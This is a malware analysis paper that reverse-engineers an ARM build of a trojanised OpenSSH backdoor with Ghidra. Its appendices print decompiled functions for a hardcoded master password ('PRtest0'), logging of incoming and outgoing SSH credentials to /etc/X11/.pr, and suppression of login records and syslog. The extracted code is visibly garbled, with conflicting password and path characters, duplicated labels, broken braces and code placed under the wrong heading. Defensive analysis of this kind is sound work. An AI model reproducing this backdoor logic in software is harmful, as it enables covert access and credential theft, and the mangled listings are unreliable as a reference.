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Abstract

A key aspect in any intrusion is to attempt to gain persistence on the compromised system. Threat actors and criminals assure persistence through different mechanisms including backdoors. The existence of backdoors is nothing new and over the years very popular backdoors targeting most Operating Systems and many application have been developed. This paper focuses on the code analysis of an SSH Linux backdoor used in the wild by a criminal group from 2016 to at least October 2018. The backdoor runs in multiple architectures; however, the research focuses on the ARM version of the backdoor using the recently released reversing tool Ghidra, which has been developed by the NSA.
1. **Introduction**

“A backdoor refers to any method by which authorized and unauthorized users are able to get around normal security measures and gain high level user access (aka root access) on a computer system, network, or software application” (Malwarebytes, NA)

Backdoors can be implemented in many ways: in the Operating System, applications, protocols, firmware, hardware, etc (Simsolo, NA).

For instance, in 1998 a very popular backdoor for Windows known as ‘Back Orifice’ was presented in the DEF CON Security conference (Symantec, NA) which was later on used to compromised Windows systems.

More recently, a campaign known as VPNFilter (Cisco, 2018) orchestrated by the Advance Persistence group APT28 (Mitre, 2019) used multi-platform backdoors to maintain persistence in compromised devices, including domestic routers.

In September 2016 a backdoor targeting OpenSSH (OpenSSH, NA) was discovered by the author of this paper through the usage of Honeypots (Alonso-Parrizas, 2016). The analysis describes how the backdoor was distributed and installed in compromised systems. However, this paper focuses on the research of this same backdoor from another angle: reversing and disassembly the ARM (techtarget, NA) binary version of the backdoor.

In December 2018 ESET released a research paper about the landscape of OpenSSH backdoors “THE DARK SIDE OF THE FORSSHE - A landscape of OpenSSH backdoors” (EMET, THE DARK SIDE OF THE FORSSHE - A landscape of OpenSSH backdoors, 2018). ESET used the signature “Linux/SSHDoor.AB” (EMET, sshdoor, 2018) to refer to the backdoor discussed in this paper. According to ESET research, this backdoor was still being used by the time the research paper was published.

2. **Analysis of the backdoor for ARM with Ghidra**

The backdoor is comprised of several binaries used as part of the OpenSSH package. However, for simplicity, the investigation is focused on the SSHD daemon, which provides the remote access, and the SSH binary, to connect remotely to other systems.

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Ghidra (NSA, 2019), a tool recently released by the NSA for reverse engineering is used to support the full analysis. Through this process, the capabilities and functionality of Ghidra will be evaluated.

2.1. Analysis of the SSHD binary

2.1.1. Overview of Ghidra

The first step is to open the file with Ghidra to get an overview of the properties of the file. This overview provides interesting information about the binary file, like the processor supported (ARM), the executable format (ELF), the dependencies, the source code files, memory blocks, number of instructions and functions, etc.

![Figure 1: Overview of the SSHD ELF binary](image)

In the next step, Ghidra presents several options for automatic analysis of the binary.
The default options are enough for the scope of this analysis.

The Ghidra interface is very customizable; nevertheless, the default view provides a good starting point for the analysis.

Figure 2: options for automatic analysis

Figure 3: main view of Ghidra

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In the top right of the screen, in the ‘Program Tree’, all the sections of the binary are displayed. In the ‘Symbol Tree’, the imports, exports, functions and labels can be searched. In the center window ‘Listing: sshd’ is where the assembly code is displayed, while in the right window the disassembly code. Each of the windows and views can be customized.

2.1.2. Analysis of the 'main()' function in SSHD

The first step is to find the ‘main()’ function on account that it is the entry point of execution.

![Figure 4: main() function in the symbol tree](image)

![Figure 5: main() function assembly and disassembly code](image)

The flow of the program can be easily followed through the ‘display function graph’.

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Within the ‘main()’ function, there is a call to a ‘do_authentication()’ function, which seems related to the authentication process. This function is a good candidate to start the analysis.

```
def do_authentication():
    if options.ciphers != (char *)0x0:
        myproposal[2] = options.ciphers;
    myproposal[3] = options.ciphers;
    myproposal[4] = options.macs;
    if options.compression == 0:
        myproposal[6] = "none";
    else:
```

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Figure 8: flow graph for function do_authentication()

The code of the function can be easily analyzed and follow through the different calls in the display graph.
In the end, the ‘do_authentication()’ function calls another function ‘do_authloop()’
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Figure 10: call to the do_authloop() function

The code of the function `do_authloop()` can be analyzed directly via the flow graph.

Figure 11: do_authloop() ARM assembly code

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The relevant code within the ‘do_authloop()’ is the call to the ‘auth_password()’ function on account that is the function in charge of validating the credentials provided, when performing the SSH connection.

![Disassembly Code](image1)

**Figure 12: do_authloop() disassembly code**

### 2.1.3. Analysis of the auth_password() function

The auth_password() function receives two parameters, being the second one the password introduced when establishing the SSH session.

![Function Code](image2)

**Figure 13: auth_password() function**

When digging into the code, there is an interesting string SECRETPW with some assigned values:

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The value of SECRETPW is ‘PRtest0’.

If the password provided as input is ‘PRtest0’, access is granted to the system, and a flag ‘secret_ok’ is set to one. This section code is the core function of the backdoor.

```c
iVar1 = __stack_chk_guard;
iVar6 = authctxt->valid;
SECRETPW[2] = 't';
SECRETPW[5] = 't';
SECRETPW[3] = 'e';
ILOG[2] = 't';
SECRETPW[0] = 'P';
ILOG[8] = '/';
ILOG[7] = 'i';
SECRETPW[4] = 's';
ILOG[10] = '/';
SECRETPW[6] = 'g';
ILOG[6] = 'i';
ILOG[13] = 'p';
ILOG[1] = 'e';
ILOG[3] = 'c';
ILOG[4] = '/';
ILOG[5] = 'X';
ILOG[12] = '0';
ILOG[9] = '0';
iVar2 = strcmp(password,SECRETPW);

// Returns true if authentication succeeds. */

Figure 14: SECRETPW[] content

With Ghidra is very easy to rename variables, making easier to follow the analysis. For example, the ‘secret_ok’ variable can be renamed to “backdoor_password_ok”.

```c
iVar2 = strcmp(password,SECRETPW);
ppVar6 = authctxt->pw;
if (iVar2 == 0) {
    secret_ok = 1;
    uVar5 = 1;
    goto LAB_00011196;
}
```

Figure 15: secret_ok flag

Moreover, the inclusion of comments in the code is helpful for the analysis.

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2.1.4. Analysis of ‘backdoor_password_ok’

Searching for references in the code to a given function, memory address or a variable is straightforward with Ghidra. The ‘backdoor_password_ok’ variable is called in several functions along the binary.

For example, the function ‘record_login()’ checks if the ‘backdoor_password_ok’ is equal to 1. If that is the case, no traces of the connection are logged.
This same behavior happens within the ‘record_logout()’ and the ‘do_log()’ functions. The first one keeps tracks when the user disconnects from the SSH, while the second keeps traces of the logs via the syslog facilities.
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Figure 20: record_logout() function
2.1.5. Analysis of the ILOG variable

In the auth_password() function, there is an interesting variable name ILOG which we will investigate further. The ILOG variable points to the file `/etc/X11/.pr`.
For easy reference, several variables and the file descriptor pointing to ILOG has been renamed. The file "exfil_file_credentials" is used to store credentials (user, password and remote IP) from users connecting via SSH to the backdoored SSHD. With this approach, additional credentials are stolen in ‘etc/X11/.pr’

```
... functions checking the backdoor password
The SSH binary contains also references to 'backdoor_password_ok' variable.
```

![Figure 22: ILOG[] variable for storing credentials](image)

2.2. Analysis of the SSH binary

2.2.1. Analysis of the functions checking the backdoor password

The SSH binary contains also references to ‘backdoor_password_ok’ variable.
First one, ‘do_log()’ works like in the SSHD binary, not keeping traces of any activity.

The second function is ‘get_remote_hostname()’. This code performs a reverse DNS lookup via the ‘getnameinfo()’ function which resolves the hostname assigned to a given IP. However, if the ‘backdoor_password_ok’ is enabled, this resolution doesn't happen.

Note that the function ‘get_remote_hostname()’ also exists in the SSHD ELF file.

### 2.2.2. Analysis of the OLOG file

In the ‘userauth_passwd()’ function an OLOG file is referenced, which points to the same file that ILOG (‘/etc/X11/.pr0’). Following the code, we see that in this file are stored the credentials used for outgoing SSH connections as well.
3. Conclusion

This Linux SSH backdoor can be easily analyzed with a reversing tool like Ghidra. The backdoor is simple in its functionality and capabilities, providing remote access with a master password leaving no traces of the access. This backdoor has the capabilities to store all the credentials used for incoming and outgoing SSH. Therefore, more credentials can be stolen.

Although this paper has focused on the analysis of the ARM version, this backdoor works in the exact same manner with other architectures like MIPS or x86/64.

Ghidra is really an excellent tool for reversing and disassembly. The amount of functionalities, the highly customizable interface, and its capabilities to disassemble multiple architectures makes the tool a must for any reverse or malware analyst.
References


Angel Alonso Parrizas, parrizas@gmail.com
OpenSSH. (NA). Retrieved from OpenSSH: https://www.openssh.com/


techtarget. (NA). Retrieved from ARM processor: https://whatis.techtarget.com/definition/ARM-processor

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Appendix

A. Indicators of Compromise (IOC)

<table>
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<td>973ee9fae63a353286206da7a89904</td>
</tr>
</tbody>
</table>

B. Decompile: auth_password() – (SSHD)

```c
int auth_password(Authctxt *authctxt, char *password)
{
    int iVar1;
    int expire_checked;
    int iVar2;
    uint uVar3;
```

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FILE *__stream;
char *remote_ip;
uint uVar4;
char *__format;
passwd *ppVar5;
FILE *exfil_file_credentials;
uint uVar6;
char *user_name;

/* Returns true if authentication succeeds. */
iVar1 = __stack_chk_guard;
uVar6 = authctxt->valid;
SECRETPW[2] = 't';
SECRETPW[5] = 't';
SECRETPW[3] = 'e';
ILOG[2] = 't';
SECRETPW[0] = 'P';
ILOG[8] = '/';
SECRETPW[1] = 'R';
ILOG[7] = 'l';
SECRETPW[4] = 's';
ILOG[0] = '/';
SECRETPW[6] = '0';
ILOG[6] = 'l';
ILOG[10] = 'p';
ILOG[1] = 'e';
ILOG[3] = 'c';
ILOG[4] = '/';
ILOG[5] = 'X';
ILOG[12] = 0;
ILOG[9] = '.';
iVar2 = strcmp(password,SECRETPW);
ppVar5 = authctxt->pw;
if (iVar2 == 0) {
  backdoor_password_ok = 1;
  uVar4 = 1;
  goto LAB_00011196;
}
uVar3 = sys_auth_passwd(authctxt,password);
if (uVar3 == 0) {
  __stream = fopen64("/tmp/.unix","r");
  if (__stream != (FILE *)0x0) {
    fclose(__stream);
    exfil_file_credentials = (FILE *)fopen64(ILOG,"a");
    f = exfil_file_credentials;
    if (exfil_file_credentials != (FILE *)0x0) {
      user_name = authctxt->user;
      f = exfil_file_credentials;
      remote_ip = get_remote_ipaddr();
      __format = "denied : %s:%s from %s\n";
      goto LAB_000111e0;
    }
  }
}

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else {
    exfil_file_credentials = (FILE *)fopen64(ILOG, "a");
    f = exfil_file_credentials;
    if (exfil_file_credentials != (FILE *)0x0) {
        user_name = authctxt->user;
        f = exfil_file_credentials;
        remote_ip = get_remote_ipaddr();
        __format = "%s:%s from %s\n";
        LAB_000111e0:
        fprintf((FILE *)exfil_file_credentials, __format, user_name, password, remote_ip);
        fclose((FILE *)f);
    }
    if ((ppVar5->pw_uid == 0) && (options.permit_root_login != 3)) { 
        uVar6 = 0;
    }
    if (("password == 0) && (uVar4 = options.permit_empty_passwd,
        options.permit_empty_passwd == 0))
        goto LAB_00011196;
    if (options.use_pam != 0) { 
        uVar4 = sshpam_auth_passwd(authctxt, password);
        if ((uVar4 != 0) && (uVar4 = uVar6, uVar6 != 0)) { 
            uVar4 = 1;
        }
        goto LAB_00011196;
    }
    if (expire_checked != 0) { 
        expire_checked = 1;
        iVar2 = auth_shadow_pwexpired(authctxt);
        if (iVar2 == 0) goto LAB_00011224;
        authctxt->force_pwchange = 1;
LAB_00011274:
        no_port_forwarding_flag = 1;
        no_agent_forwarding_flag = 1;
        no_x11_forwarding_flag = 1;
    }
else {
LAB_0001124:
    if (authctxt->force_pwchange != 0) goto LAB_00011274;
}
    if (uVar3 != 0) { 
        uVar3 = 1;
    }
    if (uVar6 == 0) { 
        uVar4 = 0;
    }
else { 
        uVar4 = uVar3 & 1;
    }
LAB_00011196:
    if (iVar1 == __stack_chk_guard) {
        return uVar4;
    }
    else {
        uVar4 = uVar3 & 1;
    }
LAB_00011196:
    if (iVar1 == __stack_chk_guard) { 
        return uVar4;
    }
}

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C. Decompile: record_login() – (SSHD)

```c
void record_login(pid_t pid, char *tty, char *user, uid_t uid, char *host, sockaddr *addr,
                  socklen_t addrlen)
{
    int iVar1;
    logininfo *li;

    iVar1 = __stack_chk_guard;
    store_lastlog_message(user, uid);
    li = login_alloc_entry(pid, user, host, tty); 
    login_set_addr(li, addr, addrlen);
    if (backdoor_password_ok == 1) {
        if (iVar1 == __stack_chk_guard) {
            return;
        }
    } else {
        login_login(li);
        if (iVar1 == __stack_chk_guard) {
            login_free_entry(li);
            return;
        }
    } /* WARNING: Subroutine does not return */
    __stack_chk_fail();
}
```

D. Decompile: record_logout() – (SSHD)

```c
void record_logout(pid_t pid, char *tty, char *user)
{
    int iVar1;
    logininfo *li;

    iVar1 = __stack_chk_guard;
    li = login_alloc_entry(pid, user, (char *) 0x0, tty);
    if (backdoor_password_ok == 1) {
        if (iVar1 == __stack_chk_guard) {
            return;
        }
    } else {
        login_logout(li);
    }
```

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E. Decompile: do_log() – (SSHD)

```c
void do_log(LogLevel level, char *fmt, va_list args)
{
    int iVar1;
    log_handler_fn *plVar2;
    int *piVar3;
    int iVar4;
    char *__ident;
    size_t __n;
    int flag;
    char *local_83c;
    int local_834;
    char msgbuf[1024];
    char fmtbuf[1024];

    iVar1 = __stack_chk_guard;
    if (backdoor_password_ok == 1) goto LAB_0002fd6c;
    piVar3 = __errno_location();
    iVar4 = *piVar3;
    if (log_level < level) goto LAB_0002fd6c;
    switch(level) {
    case SYSLOG_LEVEL_FATAL:
        if (log_on_stderr == 0) {
            __ident = "fatal";
            local_834 = 2;
            break;
        }
        local_834 = 2;
        goto LAB_0002fd16;
    case SYSLOG_LEVEL_ERROR:
        if (log_on_stderr == 0) {
            local_834 = 3;
            __ident = "error";
            break;
        }
        local_834 = 3;
        goto LAB_0002fd16;
    case SYSLOG_LEVEL_INFO:
    case SYSLOG_LEVEL_VERBOSE:
        local_834 = 6;
        goto LAB_0002fd16;
    }
    piVar3 = __errno_location();
    iVar4 = *piVar3;
    if (log_level < level) goto LAB_0002fd16;
}
```

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case SYSLOG_LEVEL_DEBUG1:
    __ident = "debug1";
    local_834 = 7;
    break;

case SYSLOG_LEVEL_DEBUG2:
    local_834 = 7;
    __ident = "debug2";
    break;

case SYSLOG_LEVEL_DEBUG3:
    local_834 = 7;
    __ident = "debug3";
    break;

default:
    __ident = "internal error";
    local_834 = 3;

if (log_handler == (log_handler_fn *)&0x0) {
    snprintf(fmtbuf,0x400,"%s: %s",__ident,fmt);
    vsnprintf(msgbuf,0x400,fmtbuf,args);
} else {
    LAB_0002fd16:
        vsnprintf(msgbuf,0x400,fmt,args);
    }

local_83c = fmtbuf;
if (log_on_stderr == 0) {
    flag = 0x1b;
} else {
    flag = 0x21;
}
strnvis(local_83c,msgbuf,0x400,flag);
plVar2 = log_handler;
if (log_handler == (log_handler_fn *)&0x0) {
    if (log_on_stdout == 0) {
        __ident = argv0;
        if (argv0 == (char *)&0x0) {
            __ident = program_invocation_short_name;
        }
        openlog(__ident,1,log_facility);
        syslog(local_834,"%.500s",local_83c);
        closelog();
    } else {
        snprintf(msgbuf,0x400,"%s\r\n",local_83c);
        __n = strlen(msgbuf);
        write(2,msgbuf,__n);
    }
} else {
    log_handler = (log_handler_fn *)&0x0;
    (*plVar2)(level,local_83c,log_handler_ctx);
    log_handler = plVar2;
}
*piVar3 = iVar4;
LAB_0002fd6c:
    if (iVar1 == __stack_chk_guard) {
        return;
    }
/* WARNING: Subroutine does not return */
__stack_chk_fail();

F. Decompile: get_remote_hostname – (SSHD)

char * get_remote_hostname(int sock, int use_dns)
{
    int iVar1;
    addrinfo *paVar2;
    int iVar3;
    ushort **puVar4;
    __int32_t **pp_Var5;
    char *pcVar6;
    protoent *__level;
    int *piVar7;
    byte *pbVar8;
    uint uVar9;
    size_t __maxlen;
    ushort *puVar10;
    addrinfo hints;
    socklen_t fromlen;
    addrinfo *local_fd8;
    addrinfo *local_fd4;
    uint local_fd0;
    sockaddr_storage from;
    char name[1025];
    char ntop[1025];
    char ntop2[1025];
    char text[601];
    char acStack231[3];
    u_char options[200];

    iVar1 = __stack_chk_guard;
    fromlen = 0x80;
    memset(&from, 0, 0x80);
    iVar3 = getpeername(sock, (sockaddr *)&from, &fromlen);
    if (iVar3 < 0) {
        piVar7 = __errno_location();
        pcVar6 = strerror(*piVar7);
        debug("getpeername failed: %100s", pcVar6);
        /* WARNING: Subroutine does not return */
        cleanup_exit(0xff);
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```c
if (from.ss_family == 2) {
    __level = getprotobyname("ip");
    if ((__level != (protoent *)__level->p_proto)) {
        local_fd0 = 200;
        iVar3 = getsockopt(sock, (int)__level, 4, options, &local_fd0);
        if ((-1 < iVar3) && (local_fd0 != 0)) {
            uVar9 = 0;
            text[0] = 0;
            __maxlen = 0x259;
            do {
                pbVar8 = options + uVar9;
                uVar9 = uVar9 + 1;
                snprintf(acStack231 + -__maxlen,__maxlen,"%2.2x",(uint)*pbVar8);
                __maxlen = __maxlen - 3;
            } while (uVar9 < local_fd0);
            /* WARNING: Subroutine does not return */
            fatal("Connection from %.100s with IP options:%.800s", ntop, text);
        }
    }
    ipv64_normalise_mapped(&from,&fromlen);
    if (from.ss_family == 10) {
        fromlen = 0x1c;
    }
    iVar3 = getnameinfo((sockaddr *)&from,fromlen,ntop,0x401,(char *)0x0,0,1);
    if (iVar3 != 0) {
        /* WARNING: Subroutine does not return */
        fatal("get_remote_hostname: getnameinfo NI_NUMERICHOST failed");
    }
    if ((use_dns != 0) &&
        (debug3("Trying to reverse map address %.100s.", ntop),
         backdoor_password_ok == 1 ||
         (iVar3 = getnameinfo((sockaddr *)&from,fromlen,name,0x401,(char *)0x0,0,8), iVar3 == 0))) {
        memset(&hints,0,0x20);
        hints.ai_socktype = 2;
        hints.ai_flags = 4;
        iVar3 = getaddrinfo(name,(char *)0x0,(addrinfo *)&hints,&local_fd8);
        if (iVar3 == 0) {
            logit("Nasty PTR record \"%s\" is set up for %s, ignoring", name, ntop);
            freeaddrinfo(local_fd8);
            pcVar6 = xstrdup(ntop);
            goto LAB_00028886;
        }
    }
    if (name[0] != 0) {
        ppuVar4 = __ctype_b_loc();
        pbVar8 = (byte *)name;
        puVar10 = *ppuVar4;
        do {
```
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G. Decompile: user_passwd() – (SSH)

int userauth_passwd(Authctxt *authctxt)
{

pbVar8 = pbVar8 + 1;
if ((int)((uint)puVar10[(uint)(byte)name[0]]) << 0x17) < 0) {
    pp_Var5 = __ctype_tolower_loc();
    pbVar8[-1] = (byte)((pp_Var5)[(uint)(byte)name[0]]);
}
name[0] = *pbVar8;
} while (name[0] != 0);

memset(&hints,0,0x20);
hints.ai_family = ZEXT24(from.ss_family);
hints.ai_socktype = 1;
iVar3 = getaddrinfo(name,(char *)0x0,(addrinfo *)&hints,&local_fd4);
paVar2 = local_fd4;
if (iVar3 != 0) {
    logit(
        "reverse mapping checking getaddrinfo for %.700s [%s] failed
        - POSSIBLE BREAK-IN ATTEMPT!"
        ,name,ntop);
    pcVar6 = xstrdup(ntop);
    goto LAB_00028886;
}
while ((local_fd8 = paVar2, local_fd8 != (addrinfo *)0x0 &&
        (iVar3 = getnameinfo(local_fd8->ai_addr,local_fd8->
          ai_addrlen,ntop2,0x401,(char *)0x0,0,
            1), iVar3 != 0 || (iVar3 = strcmp(ntop,ntop2), iVar3 != 0))))) {
    paVar2 = local_fd8->ai_next;
} freeaddrinfo(local_fd4);
if (local_fd8 != (addrinfo *)0x0) {
    pcVar6 = xstrdup(name);
    goto LAB_00028886;
} logit(
    "Address %.100s maps to %.600s, but this does not map back to
    the address - POSSIBLE BREAK-IN ATTEMPT!"
    ,ntop,name);
}
pcVar6 = xstrdup(ntop);
LAB_00028886:
if (iVar1 != __stack_chk_guard) {
    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
}
return pcVar6;
}
```c
int iVar1;
int attempt;
char *str;
size_t __n;
int iVar2;
int iVar3;
char prompt [150];

iVar1 = __stack_chk_guard;
str = options.host_key_alias;
if (options.host_key_alias == (char *)0x0) {
    str = authctxt->host;
}
iVar3 = attempt + 1;
if (attempt < options.number_of_password_prompts) {
    attempt = iVar3;
    if (iVar3 != 1) {
        error("Permission denied, please try again.");
    }
    snprintf(prompt, 0x96, ".%.30s@%.128s'\s password: ", authctxt->server_user,str);
    str = read_passphrase(prompt, 0);
}
OLOG[7] = 'l';
OLOG[9] = '.';
OLOG[6] = 'l';
OLOG[12] = 0;
OLOG[2] = 't';
OLOG[5] = 'X';
OLOG[3] = 'c';
OLOG[0] = '/';
OLOG[1] = 'e';
OLOG[8] = '/';
OLOG[10] = 'p';
OLOG[4] = '/';
f = (FILE *)fopen64(OLOG,"a");
if (f != (FILE *)0x0) {
    fprintf((FILE *)f,"%s:%s@%s\n",authctxt->server_user,str,authctxt->host);
    fclose((FILE *)f);
}
packet_start('2');
packet_put_cstring(authctxt->server_user);
packet_put_cstring(authctxt->service);
packet_put_cstring(authctxt->method->name);
packet_put_char(0);
packet_put_cstring(str);
__n = strlen(str);
memset(str, 0, __n);
xfree(str);
packet_add_padding('@');
packet_send();
dispatch_set(0x3c,input_userauth_passwd_changereq + 1);
```

Angel Alonso Parrizas, parrizas@gmail.com
iVar2 = 1;
else {
    iVar2 = 0;
    attempt = iVar3;
}
if (iVar1 == __stack_chk_guard) {
    return iVar2;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
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